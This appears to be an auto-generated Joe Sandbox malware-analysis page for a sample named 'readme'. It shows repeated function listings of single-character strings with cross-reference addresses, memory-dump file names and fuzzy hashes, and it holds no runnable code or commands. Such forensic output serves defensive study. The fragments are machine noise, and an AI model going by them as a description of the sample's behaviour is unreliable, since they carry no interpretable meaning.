}, xrefs: 0040939E
_, xrefs: 00409AAB
., xrefs: 00409CCB
\, xrefs: 0040931E
&, xrefs: 0040A51D
_, xrefs: 00409475
7, xrefs: 0040A5C5
, xrefs: 0040A4FD
_, xrefs: 00409B95
V, xrefs: 0040A75E
l, xrefs: 0040998E
d, xrefs: 0040A96F
p, xrefs: 0040A3C2
[, xrefs: 004099BE
&, xrefs: 004095A9
o, xrefs: 004098E6
V, xrefs: 00409F66
}, xrefs: 00409485
4, xrefs: 00409465
L, xrefs: 0040A04F
<, xrefs: 00409A73
2, xrefs: 0040A3DA
d, xrefs: 0040A160
8, xrefs: 0040991F
l, xrefs: 0040A987
$, xrefs: 00409AD2
$, xrefs: 0040913C
f, xrefs: 0040999E
!, xrefs: 0040A565
4, xrefs: 0040AA23
`, xrefs: 0040A68E
", xrefs: 0040AA3D
P, xrefs: 0040A766
O, xrefs: 0040A5D5
#, xrefs: 00409E1D
a, xrefs: 004095A1
E, xrefs: 0040A03F
N, xrefs: 004093FA
K, xrefs: 00409EA7
), xrefs: 0040980D
I, xrefs: 0040990F
J, xrefs: 004096B6
., xrefs: 00409F96
E, xrefs: 00409CAA
], xrefs: 0040A97F
!, xrefs: 004091CD
T, xrefs: 00409D6A
4, xrefs: 00409D95
@, xrefs: 0040A030
{, xrefs: 0040AA4F
I, xrefs: 0040A58D
I, xrefs: 0040A834
Z, xrefs: 00409D00
t, xrefs: 0040A858
_, xrefs: 0040A814
=, xrefs: 00409CE3
P, xrefs: 0040A64E
I, xrefs: 00409A8B
E, xrefs: 0040A236
5, xrefs: 0040A646
;, xrefs: 0040A62E
., xrefs: 00409FA0
c, xrefs: 00409591
;, xrefs: 0040A5BD
o, xrefs: 004098F0
*, xrefs: 00409B03
j, xrefs: 0040A0B1
s, xrefs: 0040A804
B, xrefs: 00409F86
9, xrefs: 004092A1
j, xrefs: 00409624
^, xrefs: 00409F7E
}, xrefs: 0040A505
[, xrefs: 00409E97
^, xrefs: 0040A595
=, xrefs: 0040920D
p, xrefs: 004093EA

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID: $!$!$"$"$#$#$$$$$$$%$&$&$&$'$'$)$)$)$*$*$+$-$-$-$.$.$.$/$1$2$3$3$4$4$4$4$5$5$5$6$7$7$8$9$9$9$:$:$;$;$;$<$<$=$=$>$>$?$@$B$C$D$E$E$E$E$E$F$G$H$H$I$I$I$I$J$J$K$K$K$K$L$L$N$O$O$P$P$T$T$V$V$Z$Z$Z$Z$[$[$[$\$\$]$^$^$_$_$_$_$_$`$a$c$c$d$d$d$d$e$f$g$g$h$i$i$j$j$l$l$n$o$o$o$p$p$q$q$r$s$t$t$u$y${${$}$}$}$}
API String ID: 0-2726720408
Opcode ID: d90f52c8fe020ae98f048a66078bda6c6929cc3fb972793910aa825a6ba0364b
Instruction ID: c0d7f1d9a2f8d6b118605d4ad9cba7deefa6b9821a418fff6e8ca7fff8a3d635
Opcode Fuzzy Hash: d90f52c8fe020ae98f048a66078bda6c6929cc3fb972793910aa825a6ba0364b
Instruction Fuzzy Hash: 2CF2AF2000C7C299D332C63898587DFBFD55BA7328F588BADD1ED4A2E2D675020AD767

Function 004091A7 Relevance: 184.9, Strings: 147, Instructions: 1169COMMON

Download Yara Rule

Strings

c, xrefs: 0040A98F
$, xrefs: 0040A7EC
e, xrefs: 00409AFB
Z, xrefs: 0040AA1E
K, xrefs: 00409A4B
O, xrefs: 00409F6E
1, xrefs: 00409BED
E, xrefs: 004091E5
:, xrefs: 0040A3E2
&, xrefs: 0040A32F
-, xrefs: 0040A33F
H, xrefs: 0040A0A1
5, xrefs: 00409C8B
y, xrefs: 004091ED
g, xrefs: 004096A6
d, xrefs: 0040A868
t, xrefs: 00409E87
*, xrefs: 0040A5A5
G, xrefs: 0040997E
K, xrefs: 00409C05
q, xrefs: 00409BAD
/, xrefs: 004098DE
h, xrefs: 0040A69E
6, xrefs: 00409A5B
', xrefs: 0040A844
_, xrefs: 0040A61E
<, xrefs: 00409739
7, xrefs: 00409C15
), xrefs: 0040A8BB
>, xrefs: 0040981D
4, xrefs: 00409CDB
u, xrefs: 0040A880
}, xrefs: 0040A34F
i, xrefs: 00409E0D
C, xrefs: 00409F76
{, xrefs: 0040A170
9, xrefs: 0040A057
Z, xrefs: 00409E9F
?, xrefs: 0040A555
:, xrefs: 0040A80C
#, xrefs: 0040A626
L, xrefs: 0040AA35
3, xrefs: 00409CD3
[, xrefs: 0040A1F2
E, xrefs: 0040AA59
g, xrefs: 0040A0A9
n, xrefs: 00409D85
-, xrefs: 00409706
K, xrefs: 00409F8E
), xrefs: 00409D7D
5, xrefs: 0040961C
%, xrefs: 00409A43
', xrefs: 004093E2
d, xrefs: 0040A878
", xrefs: 0040A047
D, xrefs: 0040A7E4
;, xrefs: 00409CC3
i, xrefs: 004096CE
r, xrefs: 0040A860
3, xrefs: 00409986
H, xrefs: 004091DD
T, xrefs: 0040A7DC
F, xrefs: 0040A63E
\, xrefs: 0040A03A
q, xrefs: 00409AF3
+, xrefs: 0040A83C
J, xrefs: 0040AA4A
9, xrefs: 0040A1D2
o, xrefs: 0040A870
-, xrefs: 0040992F
Z, xrefs: 00409CEB
}, xrefs: 0040939E
_, xrefs: 00409AAB
., xrefs: 00409CCB
\, xrefs: 0040931E
&, xrefs: 0040A51D
_, xrefs: 00409475
7, xrefs: 0040A5C5
, xrefs: 0040A4FD
_, xrefs: 00409B95
V, xrefs: 0040A75E
l, xrefs: 0040998E
d, xrefs: 0040A96F
p, xrefs: 0040A3C2
[, xrefs: 004099BE
&, xrefs: 004095A9
o, xrefs: 004098E6
V, xrefs: 00409F66
}, xrefs: 00409485
4, xrefs: 00409465
L, xrefs: 0040A04F
<, xrefs: 00409A73
2, xrefs: 0040A3DA
d, xrefs: 0040A160
8, xrefs: 0040991F
l, xrefs: 0040A987
$, xrefs: 00409AD2
f, xrefs: 0040999E
!, xrefs: 0040A565
4, xrefs: 0040AA23
`, xrefs: 0040A68E
", xrefs: 0040AA3D
P, xrefs: 0040A766
O, xrefs: 0040A5D5
#, xrefs: 00409E1D
a, xrefs: 004095A1
E, xrefs: 0040A03F
N, xrefs: 004093FA
K, xrefs: 00409EA7
), xrefs: 0040980D
I, xrefs: 0040990F
J, xrefs: 004096B6
., xrefs: 00409F96
E, xrefs: 00409CAA
], xrefs: 0040A97F
!, xrefs: 004091CD
T, xrefs: 00409D6A
4, xrefs: 00409D95
@, xrefs: 0040A030
{, xrefs: 0040AA4F
I, xrefs: 0040A58D
I, xrefs: 0040A834
Z, xrefs: 00409D00
t, xrefs: 0040A858
_, xrefs: 0040A814
=, xrefs: 00409CE3
P, xrefs: 0040A64E
I, xrefs: 00409A8B
E, xrefs: 0040A236
5, xrefs: 0040A646
;, xrefs: 0040A62E
., xrefs: 00409FA0
c, xrefs: 00409591
;, xrefs: 0040A5BD
o, xrefs: 004098F0
*, xrefs: 00409B03
j, xrefs: 0040A0B1
s, xrefs: 0040A804
B, xrefs: 00409F86
9, xrefs: 004092A1
j, xrefs: 00409624
^, xrefs: 00409F7E
}, xrefs: 0040A505
[, xrefs: 00409E97
^, xrefs: 0040A595
=, xrefs: 0040920D
p, xrefs: 004093EA

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID: $!$!$"$"$#$#$$$$$%$&$&$&$'$'$)$)$)$*$*$+$-$-$-$.$.$.$/$1$2$3$3$4$4$4$4$5$5$5$6$7$7$8$9$9$9$:$:$;$;$;$<$<$=$=$>$?$@$B$C$D$E$E$E$E$E$F$G$H$H$I$I$I$I$J$J$K$K$K$K$L$L$N$O$O$P$P$T$T$V$V$Z$Z$Z$Z$[$[$[$\$\$]$^$^$_$_$_$_$_$`$a$c$c$d$d$d$d$e$f$g$g$h$i$i$j$j$l$l$n$o$o$o$p$p$q$q$r$s$t$t$u$y${${$}$}$}$}
API String ID: 0-3452857728
Opcode ID: 1c6a306a2b6ec83f071b6c5e29ea358bffd991bd0d6fadaf44c47d54e099cf3b
Instruction ID: f89c03aa277b30708e93470f35b2be22918357344e2688cb743a074f04aa4e51
Opcode Fuzzy Hash: 1c6a306a2b6ec83f071b6c5e29ea358bffd991bd0d6fadaf44c47d54e099cf3b
Instruction Fuzzy Hash: 5AF2AF2000C7C299D332C63898587DFBFD55BA7328F588BADD1ED4A2E2D675020AD767

Function 0040EDE0 Relevance: 182.0, Strings: 145, Instructions: 703COMMON

Download Yara Rule

Strings

s, xrefs: 0040FB74
e, xrefs: 0040F95A
j, xrefs: 0040EEF8
e, xrefs: 0040EF10
i, xrefs: 0040F979
n, xrefs: 0040F981
m, xrefs: 0040F5F5
a, xrefs: 0040F64C
`, xrefs: 0040F6B4
r, xrefs: 0040EF08
g, xrefs: 0040F989
s, xrefs: 0040F605
g, xrefs: 0040F624
eroon, xrefs: 0040FCD5
l, xrefs: 0040F6C4
t, xrefs: 0040F5DD
i, xrefs: 0040F510
h, xrefs: 0040F922
e, xrefs: 0040FB3D
r, xrefs: 0040F932
n, xrefs: 0040FD61
k, xrefs: 0040EE0F
i, xrefs: 0040F67B
o, xrefs: 0040F71C
n, xrefs: 0040F36F
m, xrefs: 0040F6E4
n, xrefs: 0040F33F
5, xrefs: 0040FA06
l, xrefs: 0040F801
d, xrefs: 0040FB5C
h, xrefs: 0040F508
k, xrefs: 0040F86D
p, xrefs: 0040F39E
n, xrefs: 0040F90B
r, xrefs: 0040F87D
r, xrefs: 0040FB2D
a, xrefs: 0040FB54
e, xrefs: 0040EF00
a, xrefs: 0040FB64
e, xrefs: 0040FD69
s, xrefs: 0040F35F
w, xrefs: 0040F855
g, xrefs: 0040F913
o, xrefs: 0040F2A0
b, xrefs: 0040F3CE
o, xrefs: 0040F8FB
J, xrefs: 0040F196
z, xrefs: 0040F962
agy, xrefs: 0040FE18
e, xrefs: 0040EEC0
q, xrefs: 0040F2E7
t, xrefs: 0040F9C0
d, xrefs: 0040F347
e, xrefs: 0040F847
n, xrefs: 0040F93A
n, xrefs: 0040FB45
s, xrefs: 0040EE07
r, xrefs: 0040F714
a, xrefs: 0040F62C
6, xrefs: 0040F2DF
i, xrefs: 0040F9A8
r, xrefs: 0040F2A8
e, xrefs: 0040FD4A
j, xrefs: 0040EEB6
s, xrefs: 0040F557
e, xrefs: 0040F92A
z, xrefs: 0040FD52
#, xrefs: 0040FA1E
d, xrefs: 0040F952
s, xrefs: 0040FD79
n, xrefs: 0040F8E4
l, xrefs: 0040FD71
6, xrefs: 0040F663
r, xrefs: 0040FDA8
d, xrefs: 0040F79A
g, xrefs: 0040F9B0
l, xrefs: 0040F842
m, xrefs: 0040FB6C
o, xrefs: 0040F792
y, xrefs: 0040F8F3
3, xrefs: 0040F0B0
o, xrefs: 0040EED1
B, xrefs: 0040F5CE
o, xrefs: 0040EEBB
r, xrefs: 0040FDC0
i, xrefs: 0040F644
h, xrefs: 0040F9B8
h, xrefs: 0040F5E5
e, xrefs: 0040FDB8
gibor, xrefs: 0040FE9D
e, xrefs: 0040F875
irdor, xrefs: 0040FE34
r, xrefs: 0040EE1F
a, xrefs: 0040F337
r, xrefs: 0040F7A2
herej, xrefs: 0040FC78
], xrefs: 0040F7F9
h, xrefs: 0040FA53
c, xrefs: 0040F63C
e, xrefs: 0040F8CB
r, xrefs: 0040F78A
y, xrefs: 0040EEE1
o, xrefs: 0040F5ED
e, xrefs: 0040F34F
>, xrefs: 0040F2D7
l, xrefs: 0040F865
n, xrefs: 0040F615
a, xrefs: 0040FDA0
7, xrefs: 0040F65B
o, xrefs: 0040F298
e, xrefs: 0040FB35
u, xrefs: 0040F903
n, xrefs: 0040FD89
k, xrefs: 0040F971
o, xrefs: 0040F367
p, xrefs: 0040F5FD
w, xrefs: 0040F500
r, xrefs: 0040F9A0
o, xrefs: 0040FD81
d, xrefs: 0040FA0E
c, xrefs: 0040EF3F
e, xrefs: 0040F84C
lybor, xrefs: 0040FC6D
c, xrefs: 0040FD98
b, xrefs: 0040EED9
e, xrefs: 0040F3BE
o, xrefs: 0040F60D
r, xrefs: 0040EEC9
h, xrefs: 0040F596
i, xrefs: 0040F72C
l, xrefs: 0040FD42
r, xrefs: 0040F634
>, xrefs: 0040FA5B
a, xrefs: 0040F942
w, xrefs: 0040F998
g, xrefs: 0040FB25
t, xrefs: 0040F518
e, xrefs: 0040F520
a, xrefs: 0040F85D
H, xrefs: 0040F069
r, xrefs: 0040F6F4
r, xrefs: 0040F357
t, xrefs: 0040FDB0
n, xrefs: 0040F94A
b, xrefs: 0040F724

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID: #$3$5$6$6$7$>$>$B$H$J$]$`$a$a$a$a$a$a$a$a$agy$b$b$b$c$c$c$d$d$d$d$d$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$eroon$g$g$g$g$g$gibor$h$h$h$h$h$h$herej$i$i$i$i$i$i$irdor$j$j$k$k$k$l$l$l$l$l$l$lybor$m$m$m$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$o$o$o$o$o$o$p$p$q$r$r$r$r$r$r$r$r$r$r$r$r$r$r$r$r$s$s$s$s$s$s$t$t$t$t$u$w$w$w$y$y$z$z
API String ID: 0-1641917991
Opcode ID: 2dc069aee45e8ea9a31442a3486fc2dfc51bd1cc8338bbaf5ed13638c82b4ca2
Instruction ID: c31594d21701e52a224cdcfe6db95929ccafb1db7881ef4c4193a4b74e5cc1ed
Opcode Fuzzy Hash: 2dc069aee45e8ea9a31442a3486fc2dfc51bd1cc8338bbaf5ed13638c82b4ca2
Instruction Fuzzy Hash: 5EA2AE2450D7C189E332C72884587DFBFD25BA6718F488E9EC4ED1B292C6BA0259C777

Function 0041E3A0 Relevance: 179.1, APIs: 5, Strings: 97, Instructions: 627COMMON

Download Yara Rule

Strings

,, xrefs: 0041EA89
,, xrefs: 0041EC3C
{, xrefs: 0041E595
Y, xrefs: 0041E91F
:, xrefs: 0041E75D
,, xrefs: 0041EAA2
L, xrefs: 0041EB93
p, xrefs: 0041E51B
O, xrefs: 0041EBA2
P, xrefs: 0041E7A0
', xrefs: 0041E3DB
6, xrefs: 0041EDBF
m, xrefs: 0041E9CC
I, xrefs: 0041E523
E, xrefs: 0041EBB1
^, xrefs: 0041ED79
}, xrefs: 0041E533
E, xrefs: 0041ED6F
|, xrefs: 0041EA8E
^, xrefs: 0041EBBB
?, xrefs: 0041E9A0
e, xrefs: 0041E8E0
), xrefs: 0041E7AE
J, xrefs: 0041E900
T, xrefs: 0041EA84
Y:{, xrefs: 0041E46C
w, xrefs: 0041E749
C, xrefs: 0041E960
3, xrefs: 0041E73A
^, xrefs: 0041EB06
), xrefs: 0041EAC3
N, xrefs: 0041E996
0, xrefs: 0041EDB0
|,T, xrefs: 0041E838
Y:{, xrefs: 0041E648
s, xrefs: 0041ED6A
E, xrefs: 0041E8B8
z, xrefs: 0041E5CC
0, xrefs: 0041EA02
', xrefs: 0041E5B8
Z, xrefs: 0041ED4C
p, xrefs: 0041E6FE
^, xrefs: 0041ECA4
z, xrefs: 0041E3EF
8, xrefs: 0041E94C
H, xrefs: 0041E621
^, xrefs: 0041E8C8
L, xrefs: 0041ED51
E, xrefs: 0041E93D
,, xrefs: 0041E796
Z, xrefs: 0041EC95
~, xrefs: 0041E956
s, xrefs: 0041E8B0
A, xrefs: 0041E6EE
|, xrefs: 0041EA9D
P, xrefs: 0041EC5F
,, xrefs: 0041E77D
3, xrefs: 0041EDBA
s, xrefs: 0041EBAC
0, xrefs: 0041E3F9
I, xrefs: 0041E706
=, xrefs: 0041E9D1
N, xrefs: 0041E7BD
&, xrefs: 0041ECA9
e, xrefs: 0041EBCA
E, xrefs: 0041E7C2
O, xrefs: 0041ED60
v, xrefs: 0041E6CE
Z, xrefs: 0041EB8E
3, xrefs: 0041E9B8
N, xrefs: 0041EADB
`, xrefs: 0041EC90
:, xrefs: 0041E3BD
v, xrefs: 0041E4EB
4, xrefs: 0041E3E0
|,T, xrefs: 0041EB40, 0041E650, 0041E45E
T, xrefs: 0041EC37
T, xrefs: 0041E778
`, xrefs: 0041E983
;, xrefs: 0041EA19
, xrefs: 0041EDC9
4, xrefs: 0041E5BD
|, xrefs: 0041E791
p, xrefs: 0041E586
}, xrefs: 0041E716
O, xrefs: 0041E8A0
Y, xrefs: 0041E908
P, xrefs: 0041EAAC
L, xrefs: 0041E888
|,T, xrefs: 0041ECF0
, xrefs: 0041EDA1
A, xrefs: 0041E50B
0, xrefs: 0041E5D6
e, xrefs: 0041ED88
|, xrefs: 0041EC50
a, xrefs: 0041E9DA
:, xrefs: 0041E59A

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID: $ $&$'$'$)$)$,$,$,$,$,$0$0$0$0$3$3$3$4$4$6$8$:$:$:$;$=$?$A$A$C$E$E$E$E$E$H$I$I$J$L$L$L$N$N$N$O$O$O$P$P$P$T$T$T$Y$Y$Y:{$Y:{$Z$Z$Z$^$^$^$^$^$`$`$a$e$e$e$m$p$p$p$s$s$s$v$v$w$z$z${$|$|$|$|$|,T$|,T$|,T$}$}$~
API String ID: 0-75302382
Opcode ID: 9ebe39ba551fc4c6687707c0188dc31044f6a9c45a0b78eaedfd32ae9359fd65
Instruction ID: 0544d4bd05e75d62e2756a487d0dc6e4d92f5e832a14f0b3da5a45c8b404d5bb
Opcode Fuzzy Hash: 9ebe39ba551fc4c6687707c0188dc31044f6a9c45a0b78eaedfd32ae9359fd65
Instruction Fuzzy Hash: 2072A62010C7C189D322D73C945878FFFD55BA7228F585A9DE1E85B3D3C2AA8249C76B

Function 00409436 Relevance: 171.1, Strings: 136, Instructions: 1070COMMON

Download Yara Rule

Strings

c, xrefs: 0040A98F
$, xrefs: 0040A7EC
e, xrefs: 00409AFB
Z, xrefs: 0040AA1E
K, xrefs: 00409A4B
O, xrefs: 00409F6E
1, xrefs: 00409BED
:, xrefs: 0040A3E2
&, xrefs: 0040A32F
-, xrefs: 0040A33F
H, xrefs: 0040A0A1
5, xrefs: 00409C8B
g, xrefs: 004096A6
d, xrefs: 0040A868
t, xrefs: 00409E87
*, xrefs: 0040A5A5
G, xrefs: 0040997E
K, xrefs: 00409C05
q, xrefs: 00409BAD
/, xrefs: 004098DE
h, xrefs: 0040A69E
6, xrefs: 00409A5B
', xrefs: 0040A844
_, xrefs: 0040A61E
<, xrefs: 00409739
7, xrefs: 00409C15
), xrefs: 0040A8BB
>, xrefs: 0040981D
4, xrefs: 00409CDB
u, xrefs: 0040A880
}, xrefs: 0040A34F
i, xrefs: 00409E0D
C, xrefs: 00409F76
{, xrefs: 0040A170
9, xrefs: 0040A057
Z, xrefs: 00409E9F
?, xrefs: 0040A555
:, xrefs: 0040A80C
#, xrefs: 0040A626
L, xrefs: 0040AA35
3, xrefs: 00409CD3
[, xrefs: 0040A1F2
E, xrefs: 0040AA59
g, xrefs: 0040A0A9
n, xrefs: 00409D85
-, xrefs: 00409706
K, xrefs: 00409F8E
), xrefs: 00409D7D
5, xrefs: 0040961C
%, xrefs: 00409A43
d, xrefs: 0040A878
", xrefs: 0040A047
D, xrefs: 0040A7E4
;, xrefs: 00409CC3
i, xrefs: 004096CE
r, xrefs: 0040A860
3, xrefs: 00409986
T, xrefs: 0040A7DC
F, xrefs: 0040A63E
\, xrefs: 0040A03A
q, xrefs: 00409AF3
+, xrefs: 0040A83C
J, xrefs: 0040AA4A
9, xrefs: 0040A1D2
o, xrefs: 0040A870
-, xrefs: 0040992F
Z, xrefs: 00409CEB
_, xrefs: 00409AAB
., xrefs: 00409CCB
&, xrefs: 0040A51D
_, xrefs: 00409475
7, xrefs: 0040A5C5
, xrefs: 0040A4FD
_, xrefs: 00409B95
V, xrefs: 0040A75E
l, xrefs: 0040998E
d, xrefs: 0040A96F
p, xrefs: 0040A3C2
[, xrefs: 004099BE
&, xrefs: 004095A9
o, xrefs: 004098E6
V, xrefs: 00409F66
}, xrefs: 00409485
4, xrefs: 00409465
L, xrefs: 0040A04F
<, xrefs: 00409A73
2, xrefs: 0040A3DA
d, xrefs: 0040A160
8, xrefs: 0040991F
l, xrefs: 0040A987
$, xrefs: 00409AD2
f, xrefs: 0040999E
!, xrefs: 0040A565
4, xrefs: 0040AA23
`, xrefs: 0040A68E
", xrefs: 0040AA3D
P, xrefs: 0040A766
O, xrefs: 0040A5D5
#, xrefs: 00409E1D
a, xrefs: 004095A1
E, xrefs: 0040A03F
K, xrefs: 00409EA7
), xrefs: 0040980D
I, xrefs: 0040990F
J, xrefs: 004096B6
., xrefs: 00409F96
E, xrefs: 00409CAA
], xrefs: 0040A97F
T, xrefs: 00409D6A
4, xrefs: 00409D95
@, xrefs: 0040A030
{, xrefs: 0040AA4F
I, xrefs: 0040A58D
I, xrefs: 0040A834
Z, xrefs: 00409D00
t, xrefs: 0040A858
_, xrefs: 0040A814
=, xrefs: 00409CE3
P, xrefs: 0040A64E
I, xrefs: 00409A8B
E, xrefs: 0040A236
5, xrefs: 0040A646
;, xrefs: 0040A62E
., xrefs: 00409FA0
c, xrefs: 00409591
;, xrefs: 0040A5BD
o, xrefs: 004098F0
*, xrefs: 00409B03
j, xrefs: 0040A0B1
s, xrefs: 0040A804
B, xrefs: 00409F86
j, xrefs: 00409624
^, xrefs: 00409F7E
}, xrefs: 0040A505
[, xrefs: 00409E97
^, xrefs: 0040A595

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID: $!$"$"$#$#$$$$$%$&$&$&$'$)$)$)$*$*$+$-$-$-$.$.$.$/$1$2$3$3$4$4$4$4$5$5$5$6$7$7$8$9$9$:$:$;$;$;$<$<$=$>$?$@$B$C$D$E$E$E$E$F$G$H$I$I$I$I$J$J$K$K$K$K$L$L$O$O$P$P$T$T$V$V$Z$Z$Z$Z$[$[$[$\$]$^$^$_$_$_$_$_$`$a$c$c$d$d$d$d$e$f$g$g$h$i$i$j$j$l$l$n$o$o$o$p$q$q$r$s$t$t$u${${$}$}$}
API String ID: 0-3297533030
Opcode ID: e80a43674b860d90563689f352579e04e32f56a1759b67cdd7fa77c80c7b27f3
Instruction ID: 082fff56f21fc62f50753e24676e63cce44abcfe45e5a024b0e2de527967505b
Opcode Fuzzy Hash: e80a43674b860d90563689f352579e04e32f56a1759b67cdd7fa77c80c7b27f3
Instruction Fuzzy Hash: 08E2A02000C7C299D332C63898587DFBFD55BA7328F588BADD1ED4A2E2D675020AD767

Function 0040EF78 Relevance: 163.1, Strings: 130, Instructions: 635COMMON

Download Yara Rule

Strings

s, xrefs: 0040FB74
e, xrefs: 0040F95A
i, xrefs: 0040F979
n, xrefs: 0040F981
m, xrefs: 0040F5F5
a, xrefs: 0040F64C
`, xrefs: 0040F6B4
g, xrefs: 0040F989
s, xrefs: 0040F605
g, xrefs: 0040F624
eroon, xrefs: 0040FCD5
l, xrefs: 0040F6C4
t, xrefs: 0040F5DD
i, xrefs: 0040F510
h, xrefs: 0040F922
e, xrefs: 0040FB3D
r, xrefs: 0040F932
n, xrefs: 0040FD61
i, xrefs: 0040F67B
o, xrefs: 0040F71C
n, xrefs: 0040F36F
m, xrefs: 0040F6E4
n, xrefs: 0040F33F
5, xrefs: 0040FA06
l, xrefs: 0040F801
d, xrefs: 0040FB5C
h, xrefs: 0040F508
k, xrefs: 0040F86D
p, xrefs: 0040F39E
n, xrefs: 0040F90B
r, xrefs: 0040F87D
r, xrefs: 0040FB2D
a, xrefs: 0040FB54
a, xrefs: 0040FB64
e, xrefs: 0040FD69
s, xrefs: 0040F35F
w, xrefs: 0040F855
g, xrefs: 0040F913
o, xrefs: 0040F2A0
b, xrefs: 0040F3CE
o, xrefs: 0040F8FB
J, xrefs: 0040F196
z, xrefs: 0040F962
agy, xrefs: 0040FE18
q, xrefs: 0040F2E7
t, xrefs: 0040F9C0
d, xrefs: 0040F347
e, xrefs: 0040F847
n, xrefs: 0040F93A
n, xrefs: 0040FB45
r, xrefs: 0040F714
a, xrefs: 0040F62C
6, xrefs: 0040F2DF
i, xrefs: 0040F9A8
r, xrefs: 0040F2A8
e, xrefs: 0040FD4A
s, xrefs: 0040F557
e, xrefs: 0040F92A
z, xrefs: 0040FD52
#, xrefs: 0040FA1E
d, xrefs: 0040F952
s, xrefs: 0040FD79
n, xrefs: 0040F8E4
l, xrefs: 0040FD71
6, xrefs: 0040F663
r, xrefs: 0040FDA8
d, xrefs: 0040F79A
g, xrefs: 0040F9B0
l, xrefs: 0040F842
m, xrefs: 0040FB6C
o, xrefs: 0040F792
y, xrefs: 0040F8F3
3, xrefs: 0040F0B0
B, xrefs: 0040F5CE
r, xrefs: 0040FDC0
i, xrefs: 0040F644
h, xrefs: 0040F9B8
h, xrefs: 0040F5E5
e, xrefs: 0040FDB8
gibor, xrefs: 0040FE9D
e, xrefs: 0040F875
irdor, xrefs: 0040FE34
a, xrefs: 0040F337
r, xrefs: 0040F7A2
herej, xrefs: 0040FC78
], xrefs: 0040F7F9
h, xrefs: 0040FA53
c, xrefs: 0040F63C
e, xrefs: 0040F8CB
r, xrefs: 0040F78A
o, xrefs: 0040F5ED
e, xrefs: 0040F34F
>, xrefs: 0040F2D7
l, xrefs: 0040F865
n, xrefs: 0040F615
a, xrefs: 0040FDA0
7, xrefs: 0040F65B
o, xrefs: 0040F298
e, xrefs: 0040FB35
u, xrefs: 0040F903
n, xrefs: 0040FD89
k, xrefs: 0040F971
o, xrefs: 0040F367
p, xrefs: 0040F5FD
w, xrefs: 0040F500
r, xrefs: 0040F9A0
o, xrefs: 0040FD81
d, xrefs: 0040FA0E
e, xrefs: 0040F84C
lybor, xrefs: 0040FC6D
c, xrefs: 0040FD98
e, xrefs: 0040F3BE
o, xrefs: 0040F60D
h, xrefs: 0040F596
i, xrefs: 0040F72C
l, xrefs: 0040FD42
r, xrefs: 0040F634
>, xrefs: 0040FA5B
a, xrefs: 0040F942
